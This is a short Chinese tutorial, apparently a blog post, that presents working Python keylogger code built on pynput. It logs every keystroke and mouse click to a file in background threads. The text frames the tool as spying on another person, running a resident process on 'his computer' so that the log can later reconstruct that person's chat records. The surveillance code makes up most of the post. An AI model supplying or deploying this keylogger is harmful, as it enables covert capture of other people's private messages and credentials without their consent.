Python電腦鍵盤及鼠標記錄程序,電腦監視程序,程序運行截圖:
1.使用pynput庫
pynput 可以監控我們的鍵盤和鼠標。目前具有此類功能的庫有很多,比如 pygame 等游戲庫,但是當我們只需要監控鍵盤和鼠標時,它們就顯得過於笨重了。
2.對鍵盤監控
在他的電腦常駐一個后台進程去實現監控鍵盤輸入並記錄下來,代碼大概可以這樣:
from pynput import keyboard def on_press(key): print(f'{key} :pushed') def on_release(key): #print(f'{key} released') if key == keyboard.Key.esc: # Stop listener return False with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn: lsn.join()
3.對鼠標監控
from pynput import mouse def on_click(x, y, button, pressed): if button == mouse.Button.left: print('left was pressed!') elif button == mouse.Button.right: print('right was pressed!') return False else: print('mid was pressed!') # Collect events until released with mouse.Listener(on_click=on_click) as listener: listener.join()
你會發現,每條打印都被打印了兩次,這是因為按下去和抬起來都會觸發鼠標事件。
4.監控並記錄到日志文件
from pynput import keyboard,mouse from loguru import logger from threading import Thread # 定義日志文件 logger.add('demo.log') def on_press(key): logger.debug(f'{key} :pushed') def on_release(key): #print(f'{key} released') if key == keyboard.Key.esc: # Stop listener return False # 定義f1用於線程1 def f1(): with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn: lsn.join() def on_click(x, y, button, pressed): if button == mouse.Button.left: logger.debug('left was pressed!') elif button == mouse.Button.right: logger.debug('right was pressed!') return False else: logger.debug('mid was pressed!') # 定義f2用於線程2 def f2(): # Collect events until released with mouse.Listener(on_click=on_click) as listener: listener.join() if __name__ == '__main__': # 起兩個線程分別監控鍵盤和鼠標 t1 = Thread(target=f1) t2 = Thread(target=f2) t1.start() t2.start()
這樣鍵盤操作已經全部被記錄,通過對這個日志文件進行簡單的 NLTK
語言處理,就能復原聊天記錄。
更多Python源代碼,請微信關注:Python代碼大全,